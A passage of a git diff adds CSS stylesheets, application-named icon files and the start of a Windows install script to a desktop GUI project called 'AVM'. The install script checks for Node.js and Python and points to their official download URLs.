0.3s cubic-bezier(0.4, 0, 0.2, 1); +} + +.input-wrapper input:focus { + border-color: #50A6EF; + box-shadow: 0 0 10px rgba(80, 166, 239, 0.2); + background: rgba(0, 0, 0, 0.3); +} + +.input-wrapper input::placeholder { + color: rgba(255, 255, 255, 0.4); +} + +input:-webkit-autofill, +input:-webkit-autofill:hover, +input:-webkit-autofill:focus, +input:-webkit-autofill:active { + -webkit-box-shadow: 0 0 0 30px rgba(0, 0, 0, 0.6) inset !important; + -webkit-text-fill-color: white !important; + transition: background-color 5000s ease-in-out 0s; +} + +.error-bubble { + position: absolute; + bottom: 110%; + left: 50%; + transform: translateX(-50%) translateY(10px); + background: #ff4757; + color: white; + padding: 5px 12px; + border-radius: 12px; + font-size: 12px; + white-space: nowrap; + opacity: 0; + pointer-events: none; + transition: all 0.3s cubic-bezier(0.68, -0.55, 0.265, 1.55); + z-index: 10; + box-shadow: 0 4px 10px rgba(255, 71, 87, 0.3); +} + +.error-bubble::after { + content: ''; + position: absolute; + top: 100%; + left: 50%; + transform: translateX(-50%); + border-width: 6px; + border-style: solid; + border-color: #ff4757 transparent transparent transparent; +} + +.error-bubble.show { + opacity: 1; + transform: translateX(-50%) translateY(0); +} + +.button-container { + display: flex; + justify-content: center; + gap: 20px; + margin-top: 25px; + width: 100%; + max-width: 900px; +} + +.selectButton { + background: rgba(80, 166, 239, 0.2); + border: 1px solid rgba(80, 166, 239, 0.5); + color: #fff; + padding: 10px 25px; + border-radius: 12px; + cursor: pointer; + font-weight: 600; + display: flex; + align-items: center; + gap: 10px; + transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1); + font-size: 14px; + backdrop-filter: blur(2px); + text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8); +} + +.selectButton:hover { + background: #50A6EF; + color: #fff; + transform: translateY(-2px); + box-shadow: 0 5px 15px rgba(80, 166, 239, 0.4); + text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8); +} + +#resetButton { + background: rgba(255, 71, 87, 0.1); + border-color: rgba(255, 71, 87, 0.3); +} + +#resetButton:hover { + background: #ff4757; + color: #fff; +} \ No newline at end of file diff --git a/gui/src/style/style_build.css b/gui/src/style/style_build.css new file mode 100644 index 0000000..e8996a6 --- /dev/null +++ b/gui/src/style/style_build.css @@ -0,0 +1,237 @@ +::-webkit-scrollbar { + display: none; +} + +* { + margin: 0; + padding: 0; + box-sizing: border-box; + font-family: 'Poppins', sans-serif; +} + +body { + min-height: 100vh; + background: url(img/bg.gif) no-repeat; + background-size: cover; + background-position: center; +} + +.sidebar { + position: fixed; + top: 0; + left: 0; + width: 80px; + height: 100%; + background: transparent; + backdrop-filter: blur(4px); + padding: 6px 14px; + transition: .5s; + overflow: hidden; + z-index: 2000; +} + +.sidebar.active { + width: 260px; +} + +.sidebar .logo-menu { + display: flex; + white-space: nowrap; + align-items: center; + width: 100%; + height: 70px; +} + +.sidebar .logo-menu .logo { + font-size: 23px; + color: #fff; + pointer-events: none; + opacity: 0; + transition: .3s; + text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8); +} + +.sidebar.active .logo-menu .logo { + opacity: 1; + transition-delay: .2s; +} + + +.sidebar .logo-menu .toggle-btn { + position: absolute; + left: 50%; + transform: translateX(-50%); + width: 40px; + height: 40px; + font-size: 22px; + color: #fff; + text-align: center; + line-height: 40px; + cursor: pointer; +} + +.sidebar.active .logo-menu .toggle-btn { + left: 90%; +} + +.sidebar .list { + margin-top: 10px; +} + +.list .list-item { + list-style: none; + width: 100%; + height: 50px; + margin: 5px 0; + line-height: 50px; +} + +.list .list-item a { + display: flex; + align-items: center; + font-size: 18px; + color: #fff; + text-decoration: none; + border-radius: 6px; + white-space: nowrap; + transition: .5s; +} + +.list .list-item.active a, +.list .list-item a:hover { + background: rgba(255, 255, 255, .2); +} + +.list .list-item a i { + min-width: 50px; + height: 50px; + text-align: center; + line-height: 50px; +} + +.sidebar .link_name { + opacity: 0; + pointer-events: none; + transition: .3s; + text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8); +} + +.sidebar.active .link_name { + opacity: 1; + pointer-events: auto; + transition-delay: calc(.1s * var(--i)); +} + +.container { + height: 100vh; + display: flex; + flex-direction: column; + align-items: center; + justify-content: center; + background-size: 100% 300px; + background-position: 0% 100%; + transition: background-position 0.5s; +} + +.maintitle { + position: relative; + width: 100%; + max-width: 90vh; + display: flex; + justify-content: center; + align-items: center; + margin-bottom: 20px; +} + +.maintitle h1 { + color: white; + font-weight: bold; + font-size: 24px; + text-shadow: 2px 2px 4px rgba(0, 0, 0, 0.8); +} + +.header-buttons { + position: fixed; + top: 25px; + right: 25px; + display: flex; + gap: 10px; + z-index: 1000; +} + +.help-button, +.new-button { + background: rgba(80, 166, 239, 0.2); + border: 1px solid rgba(80, 166, 239, 0.5); + color: #fff; + padding: 8px 18px; + border-radius: 12px; + cursor: pointer; + backdrop-filter: blur(2px); + transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1); + font-size: 13px; + font-weight: 600; + display: flex; + align-items: center; + gap: 8px; + text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8); +} + +.help-button:hover, +.new-button:hover { + background: #50A6EF; + color: #fff; + transform: translateY(-2px); + box-shadow: 0 5px 15px rgba(80, 166, 239, 0.4); + text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8); +} + +.container .selectButton { + background: rgba(80, 166, 239, 0.2); + border: 1px solid rgba(80, 166, 239, 0.5); + color: #fff; + width: 43vh; + height: 45px; + border-radius: 12px; + cursor: pointer; + display: flex; + justify-content: center; + align-items: center; + text-align: center; + padding: 10px 18px; + font-weight: 600; + backdrop-filter: blur(2px); + transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1); + text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8); + margin-top: 25px; +} + +.container .selectButton:hover { + background: #50A6EF; + color: #fff; + transform: translateY(-2px); + box-shadow: 0 5px 15px rgba(80, 166, 239, 0.4); + text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8); +} + +.container .selectButton input[type="file"] { + display: none; +} + +.container .outputContainer { + background: rgba(255, 255, 255, 0.01); + backdrop-filter: blur(2px); + border: 1px solid rgba(255, 255, 255, 0.1); + padding: 15px; + border-radius: 12px; + box-shadow: 0 10px 30px rgba(0, 0, 0, 0.2); +} + +.container .outputBox { + color: white; + padding: 10px; + width: 90vh; + height: 50vh; + overflow-y: auto; + text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8); +} \ No newline at end of file diff --git a/gui/src/style/style_index.css b/gui/src/style/style_index.css new file mode 100644 index 0000000..1ea47c0 --- /dev/null +++ b/gui/src/style/style_index.css @@ -0,0 +1,262 @@ +::-webkit-scrollbar { + display: none; +} + +* { + margin: 0; + padding: 0; + box-sizing: border-box; + font-family: 'Poppins', sans-serif; +} + +body { + min-height: 100vh; + background: url(img/bg.gif) no-repeat; + background-size: cover; + background-position: center; + user-select: none; +} + +.sidebar { + position: fixed; + top: 0; + left: 0; + width: 80px; + height: 100%; + background: transparent; + backdrop-filter: blur(4px); + padding: 6px 14px; + transition: .5s; + overflow: hidden; + z-index: 2000; +} + +.sidebar.active { + width: 260px; +} + +.sidebar .logo-menu { + display: flex; + white-space: nowrap; + align-items: center; + width: 100%; + height: 70px; +} + +.sidebar .logo-menu .logo { + font-size: 23px; + color: #fff; + pointer-events: none; + opacity: 0; + transition: .3s; + text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8); +} + +.sidebar.active .logo-menu .logo { + opacity: 1; + transition-delay: .2s; +} + +.sidebar .logo-menu .toggle-btn { + position: absolute; + left: 50%; + transform: translateX(-50%); + width: 40px; + height: 40px; + font-size: 22px; + color: #fff; + text-align: center; + line-height: 40px; + cursor: pointer; +} + +.sidebar.active .logo-menu .toggle-btn { + left: 90%; +} + +.sidebar .list { + margin-top: 10px; +} + +.list .list-item { + list-style: none; + width: 100%; + height: 50px; + margin: 5px 0; + line-height: 50px; +} + +.list .list-item a { + display: flex; + align-items: center; + font-size: 18px; + color: #fff; + text-decoration: none; + border-radius: 12px; + white-space: nowrap; + transition: .5s; +} + +.list .list-item.active a, +.list .list-item a:hover { + background: rgba(255, 255, 255, .2); +} + +.list .list-item a i { + min-width: 50px; + height: 50px; + text-align: center; + line-height: 50px; +} + +.sidebar .link_name { + opacity: 0; + pointer-events: none; + transition: .3s; + text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8); +} + +.sidebar.active .link_name { + opacity: 1; + pointer-events: auto; + transition-delay: calc(.1s * var(--i)); +} + +.container { + height: 100vh; + display: flex; + flex-direction: column; + align-items: center; + justify-content: center; +} + +.maintitle { + position: relative; + width: 100%; + max-width: 1000px; + display: flex; + justify-content: center; + align-items: center; + margin-bottom: 20px; +} + +.maintitle h1 { + color: white; + font-weight: bold; + font-size: 24px; + text-shadow: 2px 2px 4px rgba(0, 0, 0, 0.8); +} + +.toggle-button { + position: fixed; + top: 25px; + right: 25px; + background: rgba(80, 166, 239, 0.2); + border: 1px solid rgba(80, 166, 239, 0.5); + color: #fff; + padding: 10px 25px; + border-radius: 12px; + cursor: pointer; + font-weight: 600; + backdrop-filter: blur(2px); + transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1); + display: flex; + align-items: center; + gap: 10px; + font-size: 14px; + text-decoration: none; + user-select: none; + text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8); + z-index: 1000; +} + +.toggle-button:hover { + background: #50A6EF; + color: #fff; + transform: translateY(-2px); + box-shadow: 0 5px 15px rgba(80, 166, 239, 0.4); + text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8); +} + +.checkbox-container { + background: rgba(255, 255, 255, 0.01); + backdrop-filter: blur(2px); + border: 1px solid rgba(255, 255, 255, 0.1); + padding: 20px; + border-radius: 12px; + box-shadow: 0 10px 30px rgba(0, 0, 0, 0.2); + max-width: 550px; + width: 90%; +} + +.checkbox-list-wrapper { + display: flex; + align-items: flex-start; +} + +.checkbox-list { + display: flex; + flex-direction: column; + gap: 10px; +} + +.spacer { + width: 60px; +} + +.checkbox-item { + display: flex; + align-items: center; + margin: 10px 0; +} + +.checkbox-item input[type="checkbox"] { + display: none; +} + +.checkbox-item label { + display: flex; + align-items: center; + margin-left: 12px; + font-size: 18px; + color: #fff; + position: relative; + padding-left: 35px; + text-shadow: 1px 1px 3px rgba(0, 0, 0, 0.8); +} + +.checkbox-item label::before { + content: ''; + position: absolute; + left: 0; + top: 0; + width: 25px; + height: 25px; + border: 2px solid #50A6EF; + border-radius: 4px; + background-color: transparent; + transition: background-color 0.2s, border-color 0.2s; +} + +.checkbox-item input[type="checkbox"]:checked+label::before { + background-color: #50A6EF; + border-color: #50A6EF; +} + +.checkbox-item label::after { + content: ''; + position: absolute; + left: 7px; + top: 4px; + width: 12px; + height: 12px; + border: solid #000000; + border-width: 0 2px 2px 0; + transform: rotate(45deg); + opacity: 0; + transition: opacity 0.2s; +} + +.checkbox-item input[type="checkbox"]:checked+label::after { + opacity: 1; +} \ No newline at end of file diff --git a/gui/src/style/style_info.css b/gui/src/style/style_info.css new file mode 100644 index 0000000..72ad752 --- /dev/null +++ b/gui/src/style/style_info.css @@ -0,0 +1,383 @@ +::-webkit-scrollbar { + display: none; +} + +* { + margin: 0; + padding: 0; + box-sizing: border-box; + font-family: 'Poppins', sans-serif; +} + +body { + min-height: 100vh; + background: url(img/bg.gif) no-repeat; + background-size: cover; + background-position: center; + user-select: none; +} + +.sidebar { + position: fixed; + top: 0; + left: 0; + width: 80px; + height: 100%; + background: transparent; + backdrop-filter: blur(4px); + padding: 6px 14px; + transition: .5s; + overflow: hidden; + z-index: 2000; +} + +.sidebar.active { + width: 260px; +} + +.sidebar .logo-menu { + display: flex; + white-space: nowrap; + align-items: center; + width: 100%; + height: 70px; +} + +.sidebar .logo-menu .logo { + font-size: 23px; + color: #fff; + pointer-events: none; + opacity: 0; + transition: .3s; + text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8); +} + +.sidebar.active .logo-menu .logo { + opacity: 1; + transition-delay: .2s; +} + +.sidebar .logo-menu .toggle-btn { + position: absolute; + left: 50%; + transform: translateX(-50%); + width: 40px; + height: 40px; + font-size: 22px; + color: #fff; + text-align: center; + line-height: 40px; + cursor: pointer; +} + +.sidebar.active .logo-menu .toggle-btn { + left: 90%; +} + +.sidebar .list { + margin-top: 10px; +} + +.list .list-item { + list-style: none; + width: 100%; + height: 50px; + margin: 5px 0; + line-height: 50px; +} + +.list .list-item a { + display: flex; + align-items: center; + font-size: 18px; + color: #fff; + text-decoration: none; + border-radius: 6px; + white-space: nowrap; + transition: .5s; +} + +.list .list-item.active a, +.list .list-item a:hover { + background: rgba(255, 255, 255, .2); +} + +.list .list-item a i { + min-width: 50px; + height: 50px; + text-align: center; + line-height: 50px; +} + +.sidebar .link_name { + opacity: 0; + pointer-events: none; + transition: .3s; + text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8); +} + +.sidebar.active .link_name { + opacity: 1; + pointer-events: auto; + transition-delay: calc(.1s * var(--i)); +} + +.container { + height: 100vh; + display: flex; + flex-direction: column; + align-items: center; + justify-content: center; +} + +.maintitle { + position: relative; + width: 100%; + max-width: 70%; + display: flex; + justify-content: center; + align-items: center; + margin-bottom: 20px; +} + +.maintitle h1 { + color: white; + font-weight: bold; + font-size: 24px; + text-shadow: 2px 2px 4px rgba(0, 0, 0, 0.8); +} + +.stats-container { + display: flex; + justify-content: space-between; + width: 70%; + background: rgba(255, 255, 255, 0.01); + backdrop-filter: blur(2px); + border: 1px solid rgba(255, 255, 255, 0.1); + border-radius: 12px; + box-shadow: 0 10px 30px rgba(0, 0, 0, 0.2); + padding: 30px; + margin-bottom: 20px; + gap: 20px; +} + +.input-column { + display: flex; + flex-direction: column; + gap: 10px; + flex: 1; +} + +.input-group { + text-align: left; +} + +.input-group label { + color: #fff; + margin-bottom: 5px; + display: inline-block; + font-size: 14px; + text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8); + cursor: pointer; + transition: color 0.3s; +} + +.input-group label:hover { + color: #50A6EF; +} + +.input-group input[type="text"] { + width: 100%; + padding: 10px 12px; + background: rgba(0, 0, 0, 0.2); + border: 1px solid rgba(255, 255, 255, 0.1); + border-radius: 12px; + color: #fff; + font-size: 13px; + outline: none; + transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1); +} + +.input-group input[type="text"]:focus { + border-color: #50A6EF; + box-shadow: 0 0 10px rgba(80, 166, 239, 0.2); + background: rgba(0, 0, 0, 0.3); +} + +.input-group input[type="text"]::placeholder { + color: rgba(255, 255, 255, 0.4); +} + +/* Fix for yellow autofill background */ +input:-webkit-autofill, +input:-webkit-autofill:hover, +input:-webkit-autofill:focus, +input:-webkit-autofill:active { + -webkit-box-shadow: 0 0 0 30px rgba(0, 0, 0, 0.6) inset !important; + -webkit-text-fill-color: white !important; + transition: background-color 5000s ease-in-out 0s; +} + +.container .selectButton { + background: rgba(80, 166, 239, 0.2); + border: 1px solid rgba(80, 166, 239, 0.5); + color: #fff; + width: 43vh; + height: 45px; + border-radius: 12px; + cursor: pointer; + display: flex; + justify-content: center; + align-items: center; + text-align: center; + padding: 10px 18px; + font-weight: 600; + backdrop-filter: blur(2px); + transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1); + text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8); + margin-top: 25px; +} + +#testButton { + width: 150px; + margin-top: 22px; + background: rgba(80, 166, 239, 0.2); + border: 1px solid rgba(80, 166, 239, 0.5); +} + +.container .selectButton:hover { + background: #50A6EF; + color: #fff; + transform: translateY(-2px); + box-shadow: 0 5px 15px rgba(80, 166, 239, 0.4); + text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8); +} + +.actions-container { + display: flex; + gap: 20px; + margin-top: 25px; +} + +.actions-container .selectButton { + margin-top: 0; + width: 200px; +} + +.clear-btn { + background: rgba(255, 71, 87, 0.2) !important; + border: 1px solid rgba(255, 71, 87, 0.5) !important; +} + +.clear-btn:hover { + background: #ff4757 !important; + box-shadow: 0 5px 15px rgba(255, 71, 87, 0.4) !important; +} + +.container .selectButton input[type="file"] { + display: none; +} + +.container .aboutRisk { + margin-top: 5vh; + color: #fff; +} + +.container .aboutRisk h2 { + text-align: center; +} + +.container .aboutRisk p { + text-align: center; + margin-left: 35vh; + margin-right: 35vh; +} + +.container .aboutRisk .bold { + font-weight: bold; +} + +.input-group { + position: relative; + margin-bottom: 10px; +} + +input[type="text"].locked { + background-color: rgba(0, 0, 0, 0.5); + color: #fff; + cursor: not-allowed; +} + +input[type="text"].locked::placeholder { + color: #fff; +} + +input[type="text"]:disabled::placeholder { + content: "Locked"; +} + +.help-button { + position: fixed; + top: 25px; + right: 25px; + z-index: 1000; + pointer-events: auto; + background: rgba(80, 166, 239, 0.2); + border: 1px solid rgba(80, 166, 239, 0.5); + color: #fff; + padding: 8px 20px; + border-radius: 12px; + cursor: pointer; + font-weight: 600; + backdrop-filter: blur(2px); + transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1); + display: flex; + align-items: center; + gap: 10px; + font-size: 14px; + text-decoration: none; + user-select: none; + text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8); +} + +.help-button:hover { + background: #50A6EF; + color: #fff; + transform: translateY(-2px); + box-shadow: 0 5px 15px rgba(80, 166, 239, 0.4); + text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8); +} + +.error-bubble { + position: absolute; + bottom: 110%; + left: 50%; + transform: translateX(-50%) translateY(10px); + background: #ff4757; + color: white; + padding: 5px 12px; + border-radius: 12px; + font-size: 12px; + white-space: nowrap; + opacity: 0; + pointer-events: none; + transition: all 0.3s cubic-bezier(0.68, -0.55, 0.265, 1.55); + z-index: 10; + box-shadow: 0 4px 10px rgba(255, 71, 87, 0.3); +} + +.error-bubble::after { + content: ''; + position: absolute; + top: 100%; + left: 50%; + transform: translateX(-50%); + border-width: 6px; + border-style: solid; + border-color: #ff4757 transparent transparent transparent; +} + +.error-bubble.show { + opacity: 1; + transform: translateX(-50%) translateY(0); +} \ No newline at end of file diff --git a/gui/src/style/style_modal.css b/gui/src/style/style_modal.css new file mode 100644 index 0000000..409db79 --- /dev/null +++ b/gui/src/style/style_modal.css @@ -0,0 +1,338 @@ +/* Modal Overlay */ +.modal { + display: none; + position: fixed; + z-index: 2000; + left: 0; + top: 0; + width: 100%; + height: 100%; + background-color: rgba(10, 15, 30, 0.4); + /* Overlay trรจs transparent */ + backdrop-filter: blur(8px); + animation: fadeIn 0.2s ease; + align-items: center; + justify-content: center; +} + +.modal.active { + display: flex; +} + +/* Modal Box - True Glassmorphism */ +.modal-content.glass-effect { + background: rgba(15, 20, 35, 0.75); + /* TRANSPARENT - laisse passer le fond */ + border: 1px solid rgba(255, 255, 255, 0.08); + /* Bordure trรจs subtile */ + box-shadow: 0 8px 32px 0 rgba(0, 0, 0, 0.37); + backdrop-filter: blur(20px) saturate(180%); + /* Flou intense + saturation */ + -webkit-backdrop-filter: blur(20px) saturate(180%); + border-radius: 16px; + width: 780px; + max-width: 95%; + padding: 0; + animation: zoomIn 0.2s cubic-bezier(0.16, 1, 0.3, 1); + color: #e2e8f0; + font-family: 'Segoe UI', sans-serif; + overflow: hidden; +} + +/* Header */ +.modal-header { + padding: 18px 30px; + display: flex; + justify-content: space-between; + align-items: center; + background: rgba(255, 255, 255, 0.02); + /* Trรจs lรฉger */ + border-bottom: 1px solid rgba(255, 255, 255, 0.05); +} + +.modal-header h2 { + margin: 0; + font-size: 0.95rem; + font-weight: 600; + color: #ffffff; + text-transform: uppercase; + letter-spacing: 0.5px; + display: flex; + gap: 10px; + align-items: center; +} + +.close-modal { + font-size: 20px; + color: #94a3b8; + cursor: pointer; + transition: 0.2s; + display: flex; + align-items: center; +} + +.close-modal:hover { + color: #fff; +} + +/* Layout */ +.modal-body { + padding: 25px 35px 30px 35px; + display: grid; + grid-template-columns: 1.15fr 0.85fr; + gap: 40px; + min-height: 400px; +} + +/* Gauche */ +.metadata-section { + display: flex; + flex-direction: column; + justify-content: space-between; + height: 100%; +} + +.input-group { + display: flex; + flex-direction: column; + gap: 6px; +} + +.input-group label { + font-size: 0.75rem; + color: #94a3b8; + font-weight: 500; +} + +.input-group input { + width: 100%; + background: rgba(30, 40, 60, 0.4); + /* TRANSPARENT */ + border: 1px solid rgba(255, 255, 255, 0.1); + padding: 0 12px; + border-radius: 8px; + color: #e2e8f0; + font-size: 0.85rem; + transition: 0.2s; + height: 38px; + line-height: 38px; + backdrop-filter: blur(10px); + /* Flou sur les inputs aussi */ +} + +.input-group input:focus { + outline: none; + border-color: rgba(59, 130, 246, 0.5); + background: rgba(30, 40, 60, 0.6); + color: #fff; + box-shadow: 0 0 0 3px rgba(59, 130, 246, 0.1); +} + +.input-group input::placeholder { + color: rgba(148, 163, 184, 0.5); +} + +/* Droite */ +.icon-column { + display: flex; + flex-direction: column; + gap: 20px; + height: 100%; + justify-content: space-between; +} + +/* Preview Box - Glass Card */ +.preview-box { + background: rgba(30, 40, 60, 0.3); + /* Trรจs transparent */ + border: 1px solid rgba(255, 255, 255, 0.08); + border-radius: 12px; + padding: 20px; + display: flex; + flex-direction: column; + align-items: center; + gap: 15px; + backdrop-filter: blur(10px); +} + +.current-icon-wrapper { + width: 58px; + height: 58px; + display: flex; + align-items: center; + justify-content: center; + margin-bottom: 5px; +} + +.current-icon { + max-width: 100%; + max-height: 100%; + filter: drop-shadow(0 2px 5px rgba(0, 0, 0, 0.3)); +} + +.file-name-display { + font-size: 0.75rem; + color: #60a5fa; + margin: 0; + text-align: center; + max-width: 150px; + white-space: nowrap; + overflow: hidden; + text-overflow: ellipsis; +} + +.icon-actions { + display: flex; + gap: 12px; + width: 100%; +} + +.icon-btn { + flex: 1; + background: rgba(30, 40, 60, 0.4); + border: 1px solid rgba(255, 255, 255, 0.1); + padding: 8px; + border-radius: 6px; + color: #cbd5e1; + cursor: pointer; + font-size: 0.75rem; + display: flex; + align-items: center; + justify-content: center; + gap: 6px; + font-weight: 500; + transition: 0.2s; + height: 32px; + backdrop-filter: blur(10px); +} + +.icon-btn:hover { + background: rgba(30, 40, 60, 0.6); + border-color: rgba(255, 255, 255, 0.2); + color: #fff; +} + +/* Icons Grid - Glass Cards */ +.predefined-section h3 { + font-size: 0.65rem; + color: #64748b; + margin: 5px 0 10px 0; + font-weight: 700; + text-transform: uppercase; +} + +.icon-grid { + display: grid; + grid-template-columns: repeat(4, 1fr); + gap: 10px; +} + +.grid-item { + background: rgba(30, 40, 60, 0.35); + /* Transparent */ + border: 1px solid rgba(255, 255, 255, 0.08); + border-radius: 8px; + aspect-ratio: 1; + display: flex; + align-items: center; + justify-content: center; + cursor: pointer; + transition: 0.2s; + height: 48px; + backdrop-filter: blur(10px); +} + +.grid-item:hover { + background: rgba(30, 40, 60, 0.5); + border-color: rgba(255, 255, 255, 0.15); + transform: translateY(-1px); +} + +.grid-item.selected { + border-color: rgba(59, 130, 246, 0.6); + background: rgba(59, 130, 246, 0.15); + box-shadow: 0 0 20px rgba(59, 130, 246, 0.2); +} + +.grid-item img { + width: 24px; + height: 24px; + object-fit: contain; +} + +/* Action Container */ +.action-container { + margin-top: auto; + display: flex; + justify-content: flex-end; +} + +.btn-apply { + background: rgba(16, 185, 129, 0.9); + /* Vert avec lรฉgรจre transparence */ + border: 1px solid rgba(255, 255, 255, 0.1); + color: #ffffff; + padding: 0; + height: 40px; + width: 100%; + border-radius: 6px; + font-size: 0.9rem; + font-weight: 600; + cursor: pointer; + display: flex; + align-items: center; + justify-content: center; + gap: 8px; + transition: 0.2s; + box-shadow: 0 4px 15px rgba(16, 185, 129, 0.3); + backdrop-filter: blur(10px); +} + +.btn-apply:hover { + background: rgba(5, 150, 105, 0.95); + transform: translateY(-1px); + box-shadow: 0 6px 20px rgba(16, 185, 129, 0.4); +} + +@keyframes fadeIn { + from { + opacity: 0; + } + + to { + opacity: 1; + } +} + +@keyframes zoomIn { + from { + transform: scale(0.98); + opacity: 0; + } + + to { + transform: scale(1); + opacity: 1; + } +} + +/* Loading Animation */ +@keyframes spin { + from { + transform: rotate(0deg); + } + + to { + transform: rotate(360deg); + } +} + +.btn-apply.loading { + background: rgba(16, 185, 129, 0.5) !important; + cursor: wait !important; + pointer-events: none; +} + +.btn-apply.loading i { + animation: spin 1s linear infinite; +} \ No newline at end of file diff --git a/gui/src/style/style_notification.css b/gui/src/style/style_notification.css new file mode 100644 index 0000000..1aa878b --- /dev/null +++ b/gui/src/style/style_notification.css @@ -0,0 +1,75 @@ +#notification-container { + position: fixed; + top: 20px; + right: 20px; + z-index: 9999; + display: flex; + flex-direction: column; + gap: 10px; + pointer-events: none; +} + +.notification { + background: rgba(80, 166, 239, 0.2); + backdrop-filter: blur(10px); + border: 1px solid rgba(80, 166, 239, 0.5); + color: #fff; + padding: 15px 20px; + border-radius: 12px; + box-shadow: 0 5px 15px rgba(0, 0, 0, 0.2); + display: flex; + align-items: center; + gap: 12px; + min-width: 300px; + transform: translateX(120%); + transition: transform 0.4s cubic-bezier(0.68, -0.55, 0.265, 1.55); + pointer-events: auto; + font-size: 14px; +} + +.notification.show { + transform: translateX(0); +} + +.notification.success { + background: rgba(46, 204, 113, 0.2); + border-color: rgba(46, 204, 113, 0.5); +} + +.notification.error { + background: rgba(231, 76, 60, 0.2); + border-color: rgba(231, 76, 60, 0.5); +} + +.notification.info { + background: rgba(52, 152, 219, 0.2); + border-color: rgba(52, 152, 219, 0.5); +} + +.notification i { + font-size: 20px; +} + +.notification-title { + font-weight: 600; + margin-bottom: 2px; +} + +.notification-message { + font-size: 13px; + opacity: 0.9; +} + +@keyframes dots { + 0%, 20% { content: "."; } + 40% { content: ".."; } + 60%, 100% { content: "..."; } +} + +.loading-dots::after { + content: "."; + animation: dots 1.5s steps(1, end) infinite; + display: inline-block; + width: 1em; + text-align: left; +} \ No newline at end of file diff --git a/gui/src/style/style_transitions.css b/gui/src/style/style_transitions.css new file mode 100644 index 0000000..c7534d8 --- /dev/null +++ b/gui/src/style/style_transitions.css @@ -0,0 +1,76 @@ +html, +body { + background-color: #0b0d17 !important; +} + +.container { + animation: slideInFade 0.3s cubic-bezier(0.2, 0.8, 0.2, 1) forwards; + opacity: 0; + will-change: transform, opacity; +} + +@keyframes slideInFade { + from { + opacity: 0; + transform: translateY(8px); + } + + to { + opacity: 1; + transform: translateY(0); + } +} + +.list-item a { + transition: transform 0.2s cubic-bezier(0.4, 0, 0.2, 1), background 0.3s ease; +} + +.list-item a:active { + transform: scale(0.96); +} + +.list-item a:hover i { + filter: drop-shadow(0 0 5px rgba(255, 255, 255, 0.5)); +} + +.log-message { + display: block; + opacity: 0; + transform: translateX(-15px); + animation: logFadeIn 0.35s cubic-bezier(0.4, 0, 0.2, 1) forwards; + margin-bottom: 6px; +} + +@keyframes logFadeIn { + to { + opacity: 1; + transform: translateX(0); + } +} + +/* Dots Animation for Finalizing */ +.dots::after { + content: ''; + animation: dots-anim 1.5s steps(4, end) infinite; +} + +@keyframes dots-anim { + + 0%, + 20% { + content: ''; + } + + 40% { + content: '.'; + } + + 60% { + content: '..'; + } + + 80%, + 100% { + content: '...'; + } +} \ No newline at end of file diff --git a/icon/HWiNFO.ico b/icon/HWiNFO.ico new file mode 100644 index 0000000..aa14749 Binary files /dev/null and b/icon/HWiNFO.ico differ diff --git a/icon/bitcoin.ico b/icon/bitcoin.ico new file mode 100644 index 0000000..f5480f4 Binary files /dev/null and b/icon/bitcoin.ico differ diff --git a/icon/chrome.ico b/icon/chrome.ico new file mode 100644 index 0000000..71521a2 Binary files /dev/null and b/icon/chrome.ico differ diff --git a/icon/epic games.ico b/icon/epic games.ico new file mode 100644 index 0000000..1cfa301 Binary files /dev/null and b/icon/epic games.ico differ diff --git a/icon/obs.ico b/icon/obs.ico new file mode 100644 index 0000000..7127372 Binary files /dev/null and b/icon/obs.ico differ diff --git a/icon/setup.ico b/icon/setup.ico new file mode 100644 index 0000000..262b96f Binary files /dev/null and b/icon/setup.ico differ diff --git a/icon/steam.ico b/icon/steam.ico new file mode 100644 index 0000000..b2757d7 Binary files /dev/null and b/icon/steam.ico differ diff --git a/icon/systeminformer.ico b/icon/systeminformer.ico new file mode 100644 index 0000000..271e1dd Binary files /dev/null and b/icon/systeminformer.ico differ diff --git a/install.bat b/install.bat new file mode 100644 index 0000000..3bd0d3f --- /dev/null +++ b/install.bat @@ -0,0 +1,198 @@ +@echo off +setlocal EnableDelayedExpansion +title AVM INSTALLER - STRICT COMPATIBILITY CHECK + +:: Enable ANSI Escapes +for /F "tokens=1,2 delims=#" %%a in ('"prompt #$H#$E# & echo on & for %%b in (1) do rem"') do set "ESC=%%b" + +:: Color Palette +set "C_RESET=%ESC%[0m" +set "C_BOLD=%ESC%[1m" +set "C_CYAN=%ESC%[36m" +set "C_BLUE=%ESC%[34m" +set "C_GREEN=%ESC%[32m" +set "C_RED=%ESC%[31m" +set "C_YELLOW=%ESC%[33m" +set "C_GRAY=%ESC%[90m" +set "C_WHITE=%ESC%[97m" + +cd /d "%~dp0" + +:: --- CONFIGURATION --- +set "NODE_REQ=v22.11.0" +set "NODE_URL=https://nodejs.org/dist/v22.11.0/node-v22.11.0-x64.msi" +set "NODE_INSTALLER=node-v22.11.0-x64.msi" + +set "PYTHON_REQ=3.10.0" +set "PYTHON_URL=https://www.python.org/ftp/python/3.10.0/python-3.10.0-amd64.exe" +set "PYTHON_INSTALLER=python-3.10.0-amd64.exe" + +set "NODE_GOOD=0" +set "PYTHON_GOOD=0" +set "NODE_STATUS=UNKNOWN" +set "PYTHON_STATUS=UNKNOWN" + +:INIT +cls +echo %C_GRAY% +echo AVM 